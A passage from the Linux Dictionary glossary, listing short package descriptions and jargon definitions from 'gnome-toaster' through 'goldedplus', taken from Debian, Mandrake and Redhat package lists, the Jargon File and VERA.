Hierarchical organizer and outliner Think is a hierarchical organizer, allowing you to organize text in a tree form. It uses XML for its native file format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-toaster

CD-Recording frontend for GNOME. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-user-docs

This package contains the GNOME Glossary, Introduction to GNOME, and a Unix Primer. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-users-guide

GNOME User's Guide Documentation for using the GNOME desktop environment and its components. It covers usage and setup of the core GNOME programs. This documentation comes in HTML format. For other formats, check the homepage at <http://www.gnome.org/users-guide/project.shtml> or create them yourself from the `sgml` source. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-utils

GNOME (GNU Network Object Model Environment) is a user-friendly set of GUI applications and desktop tools to be used in conjunction with a window manager for the X Window System. The `gnome-utils` package includes a set of utilities for GNOME, including `Gcalc`, `Gdialog`, `Gdiskfree`, and many others. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-utils

Gnome Utilities (`gtd`, `gsearchtool`, and more) Gnome is the "GNU Network Object Model Environment". It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains some assorted utilities for use with the Gnome. These are: `gcalc` – a simple calculator `gcharmap` – character map viewer. `gcolorsel` – a color selector `gdialog` – a Gtk

version of the 'dialog' program gdict – dictionary server query and display. gdiskfree – graphical disk free (df) utility. gfloppy – GUI for formatting floppy gfontsel – a font selector gless – a Gtk version of the 'less' pager gsearchtool – a tool for finding and grepping through files gshutdown – reboot or shutdown your machine gtt – a task timer/tracker guname – display 'uname' information about your system gw – display users on the system, like 'w' idetool – an IDE disk viewing tool logview – Log viewing applications. splash/splac – splash screen renderer stripchart – plot system measurements (including applet version) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-vfs

The GNOME Virtual File System provides an abstraction to common filesystem operations like reading, writing and copying files, listing directories and so on. It is similar in spirit to the Midnight Commander's VFS (as it uses a similar URI scheme) but it is designed from the ground up to be extensible and to be usable from any application. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-vfs-extfs

The GNOME virtual file-system extra fs scripts for GMC. GNOME VFS is the GNOME virtual file system. It is the foundation of the Nautilus file manager. It provides a modular architecture and ships with several modules that implement support for file systems, http, ftp and others. It provides a URI-based API, a backend supporting asynchronous file operations, a MIME type manipulation library and other features. This package includes external fs scripts for GMC. Starting with version 3.1(gmc), the Midnight Commander comes with so called extfs, which is one of the virtual filesystems. This system makes it possible to create new virtual filesystems for the GNU MC very easily. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-vfs2

The GNOME Virtual File System provides an abstraction to common filesystem operations like reading, writing and copying files, listing directories and so on. It is similar in spirit to the Midnight Commander's VFS (as it uses a similar URI scheme) but it is designed from the ground up to be extensible and to be usable from any application. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-wm

Launches the user selected window manager for the GNOME session From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-xbill

Fight the infection. Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. As the README puts it: Ever get the feeling that nothing is going right? You're a sysadmin, and someone's trying to destroy your computers. The little people running around the screen are trying to infect your computers with Wingdows [TM], a virus cleverly designed to resemble a popular operating system. Your objective is to click the mouse on them, ending their potential threat. If one of the people reaches a computer, it will attempt to replace your operating system with the virus it carries. It will then attempt to run off the screen with your vital software. The game ends when only 0 or 1 of your computers is being productive. Additionally, some computers are connected with network cables. When one computer on a network becomes infected, a spark will be sent down the cable, and will infect the computer on the other end when it reaches there. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome2

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. GNOME is similar in purpose and scope to CDE and KDE, but GNOME (like KDE) is based completely on Open Source software. The gnome-core package includes the basic programs and libraries that are needed to install GNOME. This package is a virtual package which requires all needed package to

have a fully working GNOME desktop environment. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomecc

allows you to configure various parts of your Gnome system. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomeicu

Small, fast and functional clone of Mirabilis' ICQ GnomeICU is a clone of Mirabilis' popular ICQ written with GTK+. ICQ informs you who's online at any time and enables you to contact them at will. -- Features -- * URL Transfer (w/transfer to Netscape ability) * Sign up as a new user, or with an existing account * Allow other users to add you to their list * Message History per user * Chat * Icon and Color Based on Status of User * Online and Offline Section * Receive Message Queue * Changeable Status * Sending Messages * Sound Events * Reply Box in Same Window as Receive Message * Send, Reply, Cancel, Read Next buttons in dialog boxes * Connection History Window * Invisible List * Color Customization * GUI Configuration * V5 Protocol (new) * Drag 'n' Drop support for files and URLs (from Netscape) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomekiss

A KiSS paper doll viewer for GNOME GnomeKiSS is a viewer for all KiSS paper dolls. Cherry KiSS and Enhanced Palette are supported, with full alpha transparency and FKISS. If you want to open any lzh paperdoll files you have to install the package lha from non-free as well. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomemeeting

H323 Compatible Netmeeting clone for the Gnome Desktop Netmeeting clone for the Gnome Desktop. Supports LPC10, GSM-06.10, MS-GSM, G.711-Alaw and G.711-uLaw audio codecs and H.261-QCIF and H.261-CIF video codecs. Also supports H.245 Tunneling, Fast Start, Auto Answering of calls, ability to register to ILS directories and browse them. Gnomemeeting comes with an animated Gnome applet. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomermind

Board game for GNOME Gnomermind Mastermind(R) for your GNOME desktop. A nice looking and themeable game that can be played with mouse or customizable keybindings. The trade mark Mastermind(R) is owned by its owner. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomesword

GNOME Bible Program based on the SWORD library A bible study program for GNOME using the SWORD library. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomexmms

a XMMS control applet. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome_segv

Graphical interface segfault for Gnome program. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnomp3

An MP3 player for large MP3 collections An MP3 player that supports large collections, with many options for manipulating that collection in playlists. Features: * Available songs can be displayed: * By album * By addition time * Sorted or unsorted * As the result of a text search * Dynamic playlists (generated from search rules) * XMMS compatible playlists * Drag and Drop support * MP3 search capabilities * Random play * Works well on slow filesystems such as NFS or SMB share From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnosamba

A graphical configuration utility for Samba GnoSamba is a GUI tool for the configuration of Samba, the SMB file server on X11/Unix. It will read, edit and write /etc/samba/smb.conf, an alternate configuration file, or from a network. It uses the Gnome. The groff and bsdmainutils packages are needed for the online help system to work. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnotepad+

GNOME-based Notepad editor This is an easy-to-use, yet fairly feature-rich, simple text editor for Unix based systems running X11 and using GNOME (the GNU Network Object Model Environment). Gnotepad+ was designed to have as little bloat as possible, while still providing many of the common features found in a modern GUI-based text editor. It is still fairly light-weight, especially for the features it offers, and aims to remain that way. The "+" in gnotepad+ is there to differentiate it from other GNOME-based text editors which may call themselves "gnotepad". Additionally, gnotepad+ is not intended to be fancy, so it leverages its text editing capabilities on the GTK Text Widget. Hence, if you are looking for a programmer's editor, look for another text editor or help improve the GTK Text Widget. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnotes_applet

Gnotes Applet for the GNOME panel. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnozip

GnoZip aims to be the WinZip(tm) of the Gnome environment providing graphical interface to the most common compression utilities. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU

/gnoo/, not /noo/ 1. [acronym: `GNU's Not Unix!', see recursive acronym] A Unix-workalike development effort of the Free Software Foundation headed by Richard Stallman <rms@gnu.org>. GNU EMACS and the GNU C compiler, two tools designed for this project, have become very popular in hackerdom and elsewhere. The GNU project was designed partly to proselytize for RMS's position that information is community property and all software source should be shared. One of its slogans is "Help stamp out software hoarding!" Though this remains controversial (because it implicitly denies any right of designers to own, assign, and sell the results of their labors), many hackers who disagree with RMS have nevertheless cooperated to produce large amounts of high-quality software for free redistribution under the Free Software Foundation's imprimatur. The GNU project has a web page at <http://www.gnu.org>. See EMACS, copyleft, General Public Virus, Linux. 2. Noted Unix hacker John Gilmore <gnu@toad.com>, founder of Usenet's anarchic alt.* hierarchy. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU

GNU is Not Unix. A project to replace Unix with GPL'd software. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU

GNU's Not Unix (rekursiv!, Unix, GNU, OS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU

The GNU project's goal is to provide freely redistributable Unix software. Gopher An information system available as a Unix command that provides access to many information services, see also WWW. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU (GNU is Not Unix) Project

An effort of the Massachusetts Institute of Technology (MIT) Free Software Foundation (FSF) to develop and promote alternatives to proprietary UNIX implementations. GNU software is licensed under the GPL. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU General Public License

intended to guarantee the freedom to share and change free software – to make sure the software is free for all its users. The term free refers to freely distributable. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU Object Model Environment (GNOME)

A graphical desktop environment for UNIX and Linux that is designed to provide an efficient and user-oriented environment. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU's Not UNIX (GNU)

A UNIX-compatible operating system developed by the Free Software Foundation. The design philosophy of GNU is to create a full-featured operating system composed of completely free software. Red Hat Linux combines several parts of GNU along with the Linux kernel. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnu-standards

GNU coding and package maintenance standards The GNU coding and package maintenance standards in a variety of formats. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU/Linux

Same as Linux. So-called because many of the components included in a Linux distribution are GNU tools. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU/Linux TerminalServer for Schools

Administration of school networks is complicated, time- and money-consuming. Even stable and low-administration Linux networks still need complete and powerful computers. Software still has to be installed on each computer. The FSuB TerminalServer (Code name "Dead sisyphos") is an approach to make administration of networks easier and to enable the reuse of older computers. Debian based. The website is available in German and English. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNU/Linux Ututo

A argentinian distribution does seem to be there. Also news and comments. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnubg

A GTK/ascii backgammon program GNUbg is a strong backgammon program. It is used both as an engine by other programs (e.g. kbackgammon) but it also includes a sophisticated GTK interface. It should be considered beta software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnubg-bearoffs

Improved play for gnubg (gnu backgammon) This package includes a single large file of weights that gnubg uses to play slightly better. If you want gnubg to play at its best then install this file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnubie

/noo'bee/ n. Written-only variant of newbie in common use on IRC channels, which implies specifically someone who is new to the Linux/open source/free software world. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuboy-sdl

SDL binaries for gnuboy – Game Boy Emulator. Gnuboy is a portable Game Boy emulator. It basically allows you to play most games designed for the Game Boy and Game Boy Color on your PC or workstation. This package includes SDL binaries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuboy-svga

SVGALIB binaries for gnuboy – Game Boy Emulator. Gnuboy is a portable Game Boy emulator. It basically allows you to play most games designed for the Game Boy and Game Boy Color on your PC or workstation. This package includes SVGALIB binaries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuboy-x

X binaries for gnuboy – Game Boy Emulator. Gnuboy is a portable Game Boy emulator. It basically allows you to play most games designed for the Game Boy and Game Boy Color on your PC or workstation. This package includes X binaries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnucap

GNU Circuit Analysis package. GNUCAP is a general purpose circuit simulator. It performs nonlinear dc and transient analyses, fourier analysis, and ac analysis linearized at an operating point. It is fully interactive and command driven. It can also be run in batch mode or as a server. The output is produced as it simulates. Spice compatible models for the MOSFET (level 1,2,3) and diode are included in this release. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnucash

A personal finance tracking program. Gnucash can track finances in multiple accounts, keeping running and reconciled balances. It has an X based graphical user interface, double entry, a hierarchy of accounts, expense accounts (categories), and can import Quicken QIF files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnucash

GnuCash is a personal finance manager. A check-book like register GUI allows you to enter and track bank accounts, stocks, income and even currency trades. The interface is designed to be simple and easy to use, but is backed with double-entry accounting principles to ensure balanced books.

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuchess

The gnuchess package contains the GNU chess program. By default, GNUchess uses a curses text-based interface. Alternatively, GNUchess can be used in conjunction with the xboard user interface and the XWindow System for a graphical chessboard. Install the gnuchess package if you would like to play chess on your computer. You also need to install the curses package. If you want to use a graphical interface with GNUchess, you also need to install the xboard package and the X Window System. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnudip

Scripts to enable a server to provide dynamic IP to name mappings GnuDIP is a service designed for an ISP to give its customers a static DNS name without having to give them their own IP address. For those who are familiar with ml.org this is a simple replacement. GnuDIP has 2 main parts on the server side. 1, the multi-threaded server that listens on a port 3495 that accepts connections from client applications and updates their hostname, and 2 the web cgi that is used as the administration tool and as the users tool to manage their own account. Using the web cgi a user can set their desired homepage in their settings and then set the special URL as the default page for their browser so now every time they open their browser their hostname will be automatically be updated without having to run any other sort of client application and then they would be redirected to the URL they set in their GnuDIP settings. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnue-common

The shared library for many items of the GNU Enterprise Framework GNUe-Common provides a set of images and classes that GNUe-Forms, GNUe-Reports, and GNUe-Designer are dependent upon.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnugo

Plays the game of Go (Wei-Chi). GNUGO is an updated version of the GNU go playing program. This software is an attempt to distribute a free program to play Go. The idea of this program is based on the article "Programming the Game of Go. Byte, Vol.6 No.4" by J. K. Millen. Currently, this program only understands basic Go rules and skills. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnugo-dv

Plays the game of Go (Wei-Chi). GNUGO is an updated version of the GNU go playing program. This software is an attempt to distribute a free program to play Go. The idea of this program is based on the article "Programming the Game of Go. Byte, Vol.6 No.4" by J. K. Millen. Currently, this program only understands basic Go rules and skills. This is the "development version" of Gnugo. Development is fairly brisk, and new bugs occur frequently. Please support this software by reporting all (non-package related) bugs directly to "gnugo@gnu.org". From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuhtml2latex

A Perl script that converts html files to latex gnuhtml2latex is a Perl script that converts html files to latex files. It takes list of .html files as arguments and make .tex ones. Can also convert html stdin to latex stdout. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnujsp

A free implementation of Sun's Java Server Pages (JSP 1.0) GNUJSP is a Java servlet that allows you to insert Java source code into HTML files. When such a page is accessed, GNUJSP translates it into a pure Java source code, compiles it and runs the class file. This version conforms to the JSP 1.0 specification and is thus incompatible to GNUJSP 0.9.x which supported the 0.91 specification. For more information take a look at the GNUJSP home page at <http://www.klomp.org/gnujsp/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnulpr

GNUlpr printing system. This task package installs packages needed to print using the advanced features of postscript printers. It installs a complete printing system, including autodetection and configuration utilities. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNUMACS

/gnoo'maks/ n. [contraction of `GNU EMACS'] Often-heard abbreviated name for the GNU project's flagship tool, EMACS. `StallMACS', referring to Richard Stallman, is less common but also heard. Used esp. in contrast with GOSMACS and X Emacs. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnumail

A GNUstep Mail User Agent (clone of the NeXT/Apple's Mail.app) GNUMail.app is a clone of NeXT/Apple's excellent Mail.app application. It uses the GNUstep development framework (or Apple Cocoa, which is based on the OpenStep specification provided by NeXT, Inc.). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnumeric

A GNOME spreadsheet application Gnumeric is a powerful spreadsheet application that interoperates well with other spreadsheets. It comes with plugins that enable it to deal with commonly used spreadsheet file formats, including o Microsoft(R) Excel95 (.xls) o Comma/Character Separated Values (.csv) o XBase (.dbf), o MultiPlan (.syk) o PlanPerfect o Lotus 123 (.wks, .wk1) o Applix version 4 (.as) o Data Interchange Format (.dif) o GNU Oleo (.oleo) o SC/XSpread o Linear and integer program expression format (.mps) and can export to LaTeX, Roff and HTML as well. Gnumeric should be easy to use, in particular if you are familiar with Excel. Gnumeric is a GNOME application. GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnumeric

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. GNOME is similar in purpose and scope to CDE and KDE, but GNOME is based completely on free software. This is the Gnumeric, the GNOME spreadsheet program. If you are familiar with Excel, you should be ready to use Gnumeric. It tries to clone all of the good features and stay as compatible as possible

with Excel in terms of usability. Hopefully the bugs have been left behind :). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNUPG

GNU Privacy Guard (GNU, cryptography), "GnuPG" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnupg

GNU privacy guard – a free PGP replacement. GnuPG is GNU's tool for secure communication and data storage. It can be used to encrypt data and to create digital signatures. It includes an advanced key management facility and is compliant with the proposed OpenPGP Internet standard as described in RFC2440. GnuPG does not use any patented algorithms so it cannot be compatible with PGP2 because it uses IDEA (which is patented worldwide) and RSA. RSA's patent expired on the 20th September 2000, and it is now included in GnuPG. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuplot

A command-line driven interactive plotting program. Package for making 2D and 3D graphs from data and functions. Supports lots of output formats, including drivers for many printers, (La)TeX, (x)fig, X11, PostScript, and so on. Data files and self-defined functions can be manipulated by internal C-like language. Can perform smoothing, spline-fitting, or nonlinear fits. Can work with complex numbers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuplot

Gnuplot is a command-line driven, interactive function plotting program especially suited for scientific data representation. Gnuplot can be used to plot functions and data points in both two and three dimensions and in many different formats. Install gnuplot if you need a graphics package for scientific data representation. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnurobots

Program a robot to explore a world GNU Robots is a game/diversion where you construct a program for a little robot, then watch him explore a world. The world is filled with baddies that can hurt you, objects that you can bump into, and food that you can eat. The goal of the game is to collect as many prizes as possible before you are killed by a baddie or you run out of energy. Programs for the robot are written in Scheme. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnus

A versatile News and mailing list reader for Emacs Gnus is a message-reading laboratory. This is by far the most powerful and extensible news reader that I am aware of. It will let you look at just about anything as if it were a newsgroup. You can read mail with it, you can browse directories with it, you can ftp with it—you can even read news with it! It handles single file groups, MH format folders, mbox files, digests, knows about POP, etc. It can split incoming mail ala procmail. This version of gnus handles MIME natively. It adds offline reading capability with gnus-agent. It is not compatible with older versions of TM (since a large number of hooks and variables have changed to allow that). NOTE: Please do not use tm-gnus with this version. Instead of boring old KILL files, it has an adaptive multifaceted scoring mechanism -- you add or reduce the score of the article based on rules, and a component of the score comes in from your past behaviour -- for example, articles similar to ones you read and saved get higher scores. This adaptive mechanism is one of the most interesting part of Gnus. Gnus tries to empower people who read news the same way Emacs empowers people who edit text. Gnus sets no limits to what the user should be allowed to do. Users are encouraged to extend Gnus to make it behave like they want it to behave. A program should not control people; people should be empowered to do what they want by using (or abusing) the program. Gnus comes by default with XEmacs, but this is a stand alone package that replaces the stock Gnus. A note for people using the nmap backend: SSL support requires w3-el-e20; and even otherwise

w3-el makes following hyperlinks in mail and news easier. The upstream sources for this package are available at <http://www.gnus.org/dist/gnus.tar.gz> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnus-bonus-el

Miscellaneous add-ons for Gnus This package contains a few Emacs-Lisp files, mainly obtained from the gnu.emacs.sources newsgroup, that provide various functions to Gnus, the Emacs mail and news reader. This package contains: gnus-junk.el: semi-automatic replies to junk e-mails; nnnil.el: empty, read-only backend; nntodo.el: manage to-do items; message-x.el: customizable completion in message headers; nnir.el: searchable mail backend; nnmaildir.el: maildir mail backend. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuserv

Allows you to attach to an already running Emacs gnuserv allows you to attach to an already running Emacs. This allows external programs to make use of Emacs' editing capabilities. It is like GNU Emacs' emacsserver/server.el, but has many more features. You do not need this package if you use XEmacs; it already includes gnuserv and gnuclient. If you want to use gnuserv with both GNU Emacs and XEmacs, you will only be able to use the alternative /usr/bin/gnuclient with one flavor of emacs; you will have to use either gnuclient.xemacs or gnuclient.emacs for the other flavor. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnushogi

A program to play shogi, the Japanese version of chess. Gnushogi plays a game of Japanese chess (shogi) against the user or it plays against itself. Gnushogi is an modified version of the gnu chess program. It has a simple alpha-numeric board display, or it can use the xshogi program under the X Window System. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNUStep

OpenStep (based on NeXTStep) was a GUI specification published in 1994 by Sun Microsystems and NeXT Computers, meant for building applications. It uses the Objective-C language, which is an object-oriented extension to C, that is arguably more suited to this kind of development than is C++. OpenStep requires a PostScript display engine that is analogous to the X protocol, but it is considered superior to X because all graphics are independent of the pixel resolution of the screen. In other words, high-resolution screens would improve the picture quality without making the graphics smaller. The GNUStep project has a working PostScript display engine and is meant as a Free replacement to OpenStep. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-base1

The GNUstep Base Library The GNUstep Base Library is a library of general-purpose, non-graphical Objective C objects. It provides functionality that aims to implement the non-graphical portion of the OpenStep standard. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-base1-dbg

Debugging versions for the GNUstep Base Library This package contains the shared library of the GNUstep Base Library compiled with debugging symbols. Install this package if you wish to develop your own programs using the GNUstep Base Library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-gui0

The GNUstep Gui Library The GNUstep Gui Library is a library of graphical Objective C objects. It provides functionality that aims to implement the frontend-graphical portion of the OpenStep standard. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-gui0-dbg

Debugging versions for the GNUstep Gui Library This package contains the shared library of the GNUstep Gui Library compiled with debugging symbols. Install this package if you wish to develop

your own programs using the GNUstep Gui Library. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-make

Basic GNUstep Scripts and Makefiles This package contains the basic scripts, makefiles and directory layout needed to run and compile any GNUstep software. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-ppd

The GNUstep Postscript Printer Description The GNUstep Postscript Printer Description is a collection of ppd files provided by GNUstep GUI. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnustep-xgps0

The GNUstep Xgps Library The GNUstep Xgps Library is a library of graphical Objective C objects. It provides functionality that aims to implement the xgps graphical-backend portion of the OpenStep standard. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnut

A command-line based client compatible with Gnutella-net Gnut implements the Gnutella-net networking and file sharing protocol. For more information on Gnutella-net, visit <http://gnutella.wego.com/> For more information on gnut, visit <http://www.mrob.com/gnut/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gnutella

a fully-distributed information-sharing technology. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnutls3

GNU TLS library – runtime library gnutls is a portable library which implements the Transport Layer Security (TLS) 1.0 and Secure Sockets Layer (SSL) 3.0 protocols. Currently gnutls implements: – the TLS 1.0 and SSL 3.0 protocols, without any US-export controlled algorithms – X509 Public Key Infrastructure (with several limitations). – SRP for TLS authentication. – TLS Extension mechanism This package contains the runtime libraries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuvd

Query the online Dutch Van Dale dictionary This program is a frontend for the online Van Dale dictionary, <http://www.vandale.nl/>. It will search any word in the dictionary and return its description in Dutch. Van Dale is a well known producer of dictionaries in the Netherlands. This package provides the commandline frontend. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuvd-gnome

Query the online Dutch Van Dale dictionary – Gnome frontend This program is a frontend for the online Van Dale dictionary, <http://www.vandale.nl/>. It will search any word in the dictionary and return its description in Dutch. Van Dale is a well known producer of dictionaries in the Netherlands. This package provides the Gnome frontend. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnuyahoo

console Yahoo messenger client with guile and readline interfaces Purely console based Yahoo messenger client application which has geeky "readline" and "guile" interfaces. It connects to the Yahoo server using the "libyahoo" library. Gnuyahoo is highly extensible through the scheme language. Readline support means that it has powerful command-line editing and history features. It supports almost all of the features of the conventional Yahoo messenger for example email alert, conference, ignore, etc. It also has numerous additional features not contained in the original client. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GNX400

Gateway Network eXchange 400 (Proteon, SNA, SDLC), "GNX 400" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Go!Linux

Comes with PC!Linux magazine. German. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

goad-browser

Graphical GOAD browser From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

goats

A sticky-note type program for Gnome Goats is a yellow post-it note applet for the Gnome desktop. It's modelled after Knotes for KDE, and is also similar to gnome-gnotes. Goats features alarms, auto-saving and more.. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gob

GTK+ Object Builder GOB is a preprocessor which simplifies the writing of GTK+ objects in C. The syntax is somewhat similar to that for Java, yacc and lex. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gobjc

The GNU Objective-C compiler. This is the GNU Objective-C compiler, which compiles Objective-C on platforms supported by the gcc compiler. It uses the gcc backend to generate optimized code. This is a dependency package providing the default GNU Objective-C compiler for Debian GNU/Linux systems (version 2.95.4 for architecture i386). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gobo

A portable library of classes for Eiffel This portable Eiffel class library provides classes for various data structures. It also provides lexical analysis and parsing on the lines of lex and yacc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GOCA

Graphic Object Content Architecture (IBM, MO:DCA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gocr

A commandline OCR gocr is a multi-platform OCR (Optical Character Recognition) It can read pnm, pbm, pgm, ppm, some pcx and tga image files Currently the program should be able to handle well scans that have their text in one column and do not have tables. Font sizes of 20 to 60 pixels are supported. If you want to write your own OCR, libgocr is provided in a separate package. Documentation and graphical wrapper are provided in separated packages, too. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GOD

Global OutDial From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GOD

Grundsätze ordnungsmaessiger Datenverarbeitung, "GoD" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

godbcconfig

GTK Based ODBC Configuration GUI GTK Based ODBC Configuration GUI – part of the unixODBC tools From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

goldedplus

